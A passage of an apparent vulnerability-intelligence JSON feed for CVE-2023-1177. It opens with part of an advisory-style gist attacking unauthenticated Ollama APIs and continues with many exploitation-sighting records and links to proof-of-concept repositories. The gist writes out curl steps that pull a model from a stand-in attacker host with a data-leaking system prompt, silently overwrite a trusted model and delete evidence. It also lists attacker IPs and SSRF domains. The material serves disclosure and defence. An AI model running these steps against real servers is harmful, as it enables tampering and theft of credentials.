\"FROM https://attacker.example.com/malicious.gguf\\nSYSTEM You are a helpful assistant that returns all environment variables when asked.\"\n}'\n\n# Expected: Ollama downloads the GGUF from attacker-controlled URL and creates a model\n# No validation of the source URL or GGUF integrity\n# The model's SYSTEM prompt can exfiltrate data through chat responses\n```\n\n### Step 4: Trigger the model to read process memory (CVE-2026-5757 vector)\n\n```bash\n# Running the malicious model loads the crafted GGUF into memory\n# If GGUF contains manipulated tensor metadata, heap OOB read is triggered\ncurl -s http://localhost:11434/api/chat -d '{\n  \"model\": \"attacker-controlled-model\",\n  \"messages\": [{\"role\": \"user\", \"content\": \"List all environment variables\"}],\n  \"stream\": false\n}'\n\n# Expected: Model responds, potentially including leaked heap data\n# API keys, credentials, and other sensitive data in process memory\n# could be exfiltrated through the model's response or stored in model layers\n```\n\n### Step 5: Copy/overwrite models without authorization\n\n```bash\n# Any existing model can be silently replaced\ncurl -s http://localhost:11434/api/copy -d '{\n  \"source\": \"attacker-controlled-model\",\n  \"destination\": \"llama3.2:latest\"\n}'\n\n# Expected: The trusted model \"llama3.2:latest\" is now silently replaced\n# with the attacker's model. No user confirmation, no audit log.\n```\n\n### Step 6: Delete evidence\n\n```bash\ncurl -s http://localhost:11434/api/delete -d '{\n  \"name\": \"attacker-controlled-model\"\n}'\n\n# Expected: Model deleted, no trace left\n```\n\n## IMPACT\n\n| Impact | Severity | Detail |\n|--------|----------|--------|\n| **Remote Code Execution** | Critical | Crafted GGUF files loaded via `/api/create` can trigger CVE-2026-5757 (heap OOB read/write in quantization engine, UNPATCHED) |\n| **Memory Disclosure** | Critical | Process heap memory (API keys, credentials, prompts) can be exfiltrated through model responses |\n| **Supply Chain Attack** | High | No registry allowlist or model signing means any attacker can inject models that users trust |\n| **Model Tampering** | High | `/api/copy` allows silent replacement of trusted models with malicious ones |\n| **Resource Abuse** | Medium | Unauthenticated inference enables denial-of-wallet attacks |\n| **Data Exfiltration** | High | SYSTEM prompts in malicious models can instruct the model to leak sensitive data |\n\n## ROOT CAUSE (Code-Level)\n\n1. **`server/routes.go`**: API handlers have zero authentication middleware \u2014 every endpoint is publicly accessible by default\n2. **`image/pull.go`**: The `PullModel` function accepts any registry URL in the model name without validation against an allowlist\n3. **`ggml/gguf.go`**: GGUF tensor metadata is trusted without bounds checking before memory allocation (CVE-2026-5757)\n4. **`server/model.go`**: `/api/copy` and `/api/create` have no authorization checks or user confirmation\n\n## RECOMMENDATION\n\n1. Add an `OLLAMA_ALLOWED_REGISTRIES` config option (default: `registry.ollama.ai` only)\n2. Add basic API authentication (token or API key) as an opt-in config\n3. Implement GGUF metadata validation before loading (check tensor offsets against file size)\n4. Require user confirmation for `/api/copy` operations that overwrite existing models\n5. Add audit logging for all model lifecycle operations\n\n## REAL-WORLD CAMPAIGN EVIDENCE\n\nThis vulnerability chain is being **actively exploited in the wild**:\n\n- **2+ production servers** confirmed compromised with `leak_model_0-5` models from `205.237.106.117:8443/attacker/`\n- **Attacker organization**: ESTOXY OU / PUSHPKT OU (AS3920, Paris, France) \u2014 listed on Spamhaus CBL\n- **1,521+ exposed MLflow/Ollama instances** identified via Censys scanning\n- **SSRF/Interactsh payloads** (oast.me, oast.fun, oast.live, dnsg.cc) found in model version source URLs, confirming CVE-2023-1177 and related SSRF exploitation\n- All malicious models are small (12.3MB) GGUF files consistent with data exfiltration payloads, not legitimate ML models\n\n## IOCs\n\n| Type | Value |\n|------|-------|\n| Attacker IP | 205.237.106.117 |\n| Attacker CIDR | 205.237.104.0/22 |\n| Attacker Registry | 205.237.106.117:8443 |\n| Attacker Org | ESTOXY OU / PUSHPKT OU (AS3920) |\n| Malicious Models | leak_model_0-5_* (variants: _198e01, _cc509d) |\n| SSRF Domains | *.oast.me, *.oast.fun, *.oast.live, *.a.dnsg.cc |\n| Model Digests | See Appendix A of MLflow_Kompromission_Rapport |\n", "url": "https://gist.github.com/k4w1992-lgtm/f7d62503adb3599bc60cdc0280254c23"}, {"timestamp": "2026-05-26T00:00:00Z", "date_only": false, "value": "2026-05-26T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-26)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "10ffc540-9bdb-4f18-832d-0f6115dee518"}, {"timestamp": "2026-06-03T00:00:00Z", "date_only": false, "value": "2026-06-03T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-03)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "6f7224b9-a5c4-456c-9325-36d13a619e4c", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-06-03T00:00:00Z", "date_only": false, "value": "2026-06-03T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-03)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "214c72a9-4a41-49b1-9088-e48bcf53efc1"}, {"timestamp": "2026-06-04T00:00:00Z", "date_only": false, "value": "2026-06-04T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-04)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "24e9cecb-d536-424f-a301-e0025b554820", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-06-04T00:00:00Z", "date_only": false, "value": "2026-06-04T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-04)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "21582a30-587c-4533-bee7-0f0a7f1a9fd5"}, {"timestamp": "2026-06-08T00:00:00Z", "date_only": false, "value": "2026-06-08T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-08)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "c979e309-3b3e-4191-9139-49846ec3b74f"}, {"timestamp": "2026-06-09T00:00:00Z", "date_only": false, "value": "2026-06-09T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-09)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "26abb228-4dca-40d4-b827-49e5619b7245"}, {"timestamp": "2026-06-10T00:00:00Z", "date_only": false, "value": "2026-06-10T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-10)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "65cd9cf8-8d94-41c4-8145-969a58b57489"}, {"timestamp": "2026-06-11T00:00:00Z", "date_only": false, "value": "2026-06-11T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-11)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "147848f4-6f0a-430d-a144-affca7795b83"}, {"timestamp": "2026-06-13T00:00:00Z", "date_only": false, "value": "2026-06-13T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-13)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "029e1a1b-5c71-43f9-af35-6b8d6b6f8200", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-06-13T00:00:00Z", "date_only": false, "value": "2026-06-13T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-13)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "d0720956-3fb6-4f37-93ea-2fed9c502fe2"}, {"timestamp": "2026-06-14T00:00:00Z", "date_only": false, "value": "2026-06-14T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-14)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "1a7480e9-98c3-4b02-b63b-888ce02645ea"}, {"timestamp": "2026-06-15T00:00:00Z", "date_only": false, "value": "2026-06-15T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-15)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "d58847c7-6977-45e8-86a5-60fdbe3af834"}, {"timestamp": "2026-06-16T00:00:00Z", "date_only": false, "value": "2026-06-16T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-16)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "a1676a70-9e49-4524-b645-f64873d0c1fa"}, {"timestamp": "2026-06-17T00:00:00Z", "date_only": false, "value": "2026-06-17T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-17)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "df57f73b-89bb-4627-9556-fc0086502d53"}, {"timestamp": "2026-06-17T05:27:17.247Z", "date_only": false, "value": "2026-06-17T05:27:17.247", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2023-1177", "record": "FKIE_CVE-2023-1177", "field": "lastModified"}, {"timestamp": "2026-06-18T00:00:00Z", "date_only": false, "value": "2026-06-18T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-18)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "c774993a-6d01-41aa-a1cb-69bd8e50d290"}, {"timestamp": "2026-06-19T12:46:02.880Z", "date_only": false, "value": "2026-06-19T12:46:02.880501Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/ed3a6808-956d-4429-a1ac-0cb946408a03", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "551bdfa0-878d-4385-88ea-b8bef782f500", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/ed3a6808-956d-4429-a1ac-0cb946408a03", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-06-20T00:00:00Z", "date_only": false, "value": "2026-06-20T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-20)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "caee5b52-b358-4a8d-9b1b-b4a9c794e957"}, {"timestamp": "2026-06-21T00:00:00Z", "date_only": false, "value": "2026-06-21T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-21)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "4890012d-cbb6-4d9d-93bf-fab3582cd775"}, {"timestamp": "2026-06-23T00:00:00Z", "date_only": false, "value": "2026-06-23T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-23)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "cb7683d1-9279-47d4-a555-375948515023", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-06-23T00:00:00Z", "date_only": false, "value": "2026-06-23T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-23)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "ae3df605-3498-4123-b38c-759201eb2f4d"}, {"timestamp": "2026-06-23T14:02:37Z", "date_only": false, "value": "2026-06-23T14:02:37+00:00", "kind": "kev", "label": "Recorded", "source": "kevintel", "record": "CVE-2023-1177", "field": "timestamps.recorded_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "6130c9ef-f580-471c-9151-bc3a9edb2c89", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-06-23T14:03:25.828Z", "date_only": false, "value": "2026-06-23T14:03:25.828594Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/6130c9ef-f580-471c-9151-bc3a9edb2c89", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "33ffcb72-2437-48d7-8fff-fc62bbd159f9", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/6130c9ef-f580-471c-9151-bc3a9edb2c89", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-06-25T10:00:05.886Z", "date_only": false, "value": "2026-06-25T10:00:05.886321Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-24)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "3e7455df-f29a-4cf4-a86a-7c701052cc0d"}, {"timestamp": "2026-06-26T10:00:05.051Z", "date_only": false, "value": "2026-06-26T10:00:05.051209Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-25)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "1706634c-f0e0-445c-b280-087229f8eee5"}, {"timestamp": "2026-06-27T10:00:05.250Z", "date_only": false, "value": "2026-06-27T10:00:05.250819Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-26)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "e6003843-2fbf-4f81-ad74-b5f623f7fa75"}, {"timestamp": "2026-06-28T10:00:04.514Z", "date_only": false, "value": "2026-06-28T10:00:04.514687Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-27)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "c70168a4-f066-48ca-8054-afec89030d38"}, {"timestamp": "2026-06-30T09:22:47.958Z", "date_only": false, "value": "2026-06-30T09:22:47.958932Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/27f8103b-6e81-4aa8-a9f1-9da81d2fad73", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "464d0040-db96-4947-9221-e038dfeb2a30", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/27f8103b-6e81-4aa8-a9f1-9da81d2fad73", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-01T10:01:04.102Z", "date_only": false, "value": "2026-07-01T10:01:04.102146Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-30)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "d2c24677-7c04-4664-80da-8d64c9e9274e"}, {"timestamp": "2026-07-03T10:00:04.651Z", "date_only": false, "value": "2026-07-03T10:00:04.651360Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-02)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "09f64c2f-ff31-4a1a-8e32-03f2e11ea2ed"}, {"timestamp": "2026-07-11T10:00:04.325Z", "date_only": false, "value": "2026-07-11T10:00:04.325315Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-10)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "f0c4b781-a661-410c-bd68-2ef85b4da641"}, {"timestamp": "2026-07-13T10:15:30.265Z", "date_only": false, "value": "2026-07-13T10:15:30.265305Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-12)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "1fccc543-b878-4795-a38f-e4bad77759bc", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-17T10:00:05.228Z", "date_only": false, "value": "2026-07-17T10:00:05.228628Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-16)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "0f4b2135-0430-4bf6-8e4c-d86d7a3979b2"}, {"timestamp": "2026-07-19T00:00:00Z", "date_only": false, "value": "2026-07-19T00:00:00+00:00", "kind": "kev", "label": "Last seen", "source": "shadowserver", "record": "CVE-2023-1177", "field": "timestamps.last_seen_at", "uuid": "27f8103b-6e81-4aa8-a9f1-9da81d2fad73", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-19T00:00:00Z", "date_only": true, "value": "2026-07-19", "kind": "kev", "label": "Observation date", "source": "shadowserver", "record": "CVE-2023-1177", "field": "evidence.0.details.observation_date", "uuid": "27f8103b-6e81-4aa8-a9f1-9da81d2fad73", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-19T00:00:00Z", "date_only": false, "value": "2026-07-19T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "shadowserver", "record": "CVE-2023-1177", "field": "status.status_updated_at", "uuid": "27f8103b-6e81-4aa8-a9f1-9da81d2fad73", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-21T01:00:01Z", "date_only": false, "value": "2026-07-21T01:00:01+00:00", "kind": "kev", "label": "Recorded", "source": "shadowserver", "record": "CVE-2023-1177", "field": "timestamps.recorded_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "27f8103b-6e81-4aa8-a9f1-9da81d2fad73", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-23T10:00:11.481Z", "date_only": false, "value": "2026-07-23T10:00:11.481766Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-22)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "c1634e48-2cfc-4d06-a92c-9d46fe9b6163"}, {"timestamp": "2026-07-24T10:00:05.659Z", "date_only": false, "value": "2026-07-24T10:00:05.659582Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-23)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "2985571f-fe4d-4936-9d03-36a6f6875431"}, {"timestamp": "2026-07-25T10:00:05.131Z", "date_only": false, "value": "2026-07-25T10:00:05.131222Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-24)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "4aab9760-2d72-437d-8e28-85d8a8c26101"}, {"timestamp": "2026-07-27T10:00:05.680Z", "date_only": false, "value": "2026-07-27T10:00:05.680666Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-26)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "c2303c39-ab91-4a0f-9ba2-542aca8a4deb"}, {"timestamp": "2026-07-29T10:00:04.320Z", "date_only": false, "value": "2026-07-29T10:00:04.320285Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-28)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "0d37107a-578e-4f96-bfff-cc5f9880c66a"}, {"timestamp": "2026-07-29T12:00:09.823Z", "date_only": false, "value": "2026-07-29T12:00:09.823688Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CVEhub/18345", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "91710ecf-1f57-47c9-a5c3-4da258ec3723", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-1177-MLFlow*\nGithub: https://github.com/iumiro/CVE-2023-1177-MLFlow", "url": "https://t.me/CVEhub/18345"}, {"timestamp": "2026-07-29T12:00:39.326Z", "date_only": false, "value": "2026-07-29T12:00:39.326398Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CVEhub/10590", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "f55e638f-ad23-4e9d-b0be-c24df62da715", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *ml-CVE-2023-1177*\nGithub: https://github.com/hh-hunter/ml-CVE-2023-1177", "url": "https://t.me/CVEhub/10590"}, {"timestamp": "2026-07-29T12:00:39.469Z", "date_only": false, "value": "2026-07-29T12:00:39.469546Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CVEhub/10586", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "3cdb4d20-aa0e-45d6-859a-dfe88733ccff", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-1177-Docker*\nGithub: https://github.com/hh-hunter/CVE-2023-1177-Docker", "url": "https://t.me/CVEhub/10586"}, {"timestamp": "2026-07-30T00:00:22.610Z", "date_only": false, "value": "2026-07-30T00:00:22.610345Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CVEhub/18345", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "a9ca9471-aecb-48ed-84c9-6f4141c3a0ae", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-1177-MLFlow*\nGithub: https://github.com/iumiro/CVE-2023-1177-MLFlow", "url": "https://t.me/CVEhub/18345", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-31T06:00:03.579Z", "date_only": false, "value": "2026-07-31T06:00:03.579013Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CVEhub/10590", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "ccfd1b8f-7393-46f7-9c7d-69af8ab5cf11", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *ml-CVE-2023-1177*\nGithub: https://github.com/hh-hunter/ml-CVE-2023-1177", "url": "https://t.me/CVEhub/10590", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-31T07:00:04.499Z", "date_only": false, "value": "2026-07-31T07:00:04.499651Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CVEhub/10586", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "a3d0ab72-9f16-4b1b-a956-5e4839627565", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-1177-Docker*\nGithub: https://github.com/hh-hunter/CVE-2023-1177-Docker", "url": "https://t.me/CVEhub/10586", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-31T10:00:06.219Z", "date_only": false, "value": "2026-07-31T10:00:06.219806Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-30)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "0127ab49-42f4-4bbb-ae74-9debea606974"}, {"timestamp": "2026-08-04T10:00:06.074Z", "date_only": false, "value": "2026-08-04T10:00:06.074973Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-03)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "355ae1de-a382-4175-b1a3-f171d56b26d9"}, {"timestamp": "2026-08-06T10:00:04.433Z", "date_only": false, "value": "2026-08-06T10:00:04.433920Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-05)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "7fdcd735-d04c-4466-bef2-22ddfc01b0ab"}, {"timestamp": "2026-08-07T10:10:25.173Z", "date_only": false, "value": "2026-08-07T10:10:25.173420Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-06)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "8bafa7fd-8e87-4b6b-8c44-2f2fd5a7b453"}, {"timestamp": "2026-08-08T10:08:47.101Z", "date_only": false, "value": "2026-08-08T10:08:47.101535Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-07)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "ab7f9d5e-8abb-419c-86c5-d84c00117ed7"}, {"timestamp": "2026-08-10T10:00:04.511Z", "date_only": false, "value": "2026-08-10T10:00:04.511741Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-09)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "b95b4654-3dde-4efe-96e8-10294953add2"}, {"timestamp": "2026-08-10T10:15:10.035Z", "date_only": false, "value": "2026-08-10T10:15:10.035437Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-09)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "65e1964d-6d3d-4fbf-9562-53918e6f19b6", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-08-11T10:00:05.796Z", "date_only": false, "value": "2026-08-11T10:00:05.796545Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-10)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "967b9c1d-ca3b-48d1-af48-54796ccf80f3"}, {"timestamp": "2026-08-12T10:00:04.008Z", "date_only": false, "value": "2026-08-12T10:00:04.008987Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-11)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "a836e7b8-84fd-44d2-97c9-0775ffee300a"}, {"timestamp": "2026-08-13T10:00:07.729Z", "date_only": false, "value": "2026-08-13T10:00:07.729203Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-12)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "f4309ee9-8f57-42f9-91b2-ba91eb72e7fe"}, {"timestamp": "2026-08-15T10:00:09.678Z", "date_only": false, "value": "2026-08-15T10:00:09.678315Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-14)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "c098a019-72db-4429-aae4-ecf3490b719b"}, {"timestamp": "2026-08-16T10:00:04.179Z", "date_only": false, "value": "2026-08-16T10:00:04.179715Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-15)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "9611b96a-843f-4aec-9060-f17042598480"}, {"timestamp": "2026-08-17T10:00:18.069Z", "date_only": false, "value": "2026-08-17T10:00:18.069458Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-16)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "fb56a06b-9dc5-47a6-bfff-e029c0470b6b"}, {"timestamp": "2026-08-19T10:00:04.612Z", "date_only": false, "value": "2026-08-19T10:00:04.612136Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-18)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "628dd356-cf17-46a9-9cfa-85e48c26a535"}, {"timestamp": "2026-08-20T10:00:06.082Z", "date_only": false, "value": "2026-08-20T10:00:06.082784Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-19)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "1e9ff3e2-3c43-4d3f-9c21-c01c817e3db5"}, {"timestamp": "2026-08-23T10:00:08.569Z", "date_only": false, "value": "2026-08-23T10:00:08.569876Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-22)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "2f8a8769-4ada-4094-8126-764db6ca1164"}, {"timestamp": "2026-08-26T10:00:04.997Z", "date_only": false, "value": "2026-08-26T10:00:04.997876Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-25)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "b692afb9-89c6-4ace-90f5-240de2a7474d"}, {"timestamp": "2026-08-27T10:00:12.069Z", "date_only": false, "value": "2026-08-27T10:00:12.069958Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-26)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "25daf51a-3b78-4623-9f4c-210268dfebc9"}, {"timestamp": "2026-08-29T10:00:25.146Z", "date_only": false, "value": "2026-08-29T10:00:25.146626Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-28)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "faf54aa2-3fcd-4f11-a187-05f52b4ce4d7"}, {"timestamp": "2026-08-31T10:00:07.453Z", "date_only": false, "value": "2026-08-31T10:00:07.453732Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-30)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "1cf74e6c-7466-499d-8990-e46b686fe412"}, {"timestamp": "2026-09-01T10:00:05.539Z", "date_only": false, "value": "2026-09-01T10:00:05.539001Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-31)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "56b803b8-6c4d-4ee3-b27b-15831ff3d7f4"}, {"timestamp": "2026-09-02T10:00:32.775Z", "date_only": false, "value": 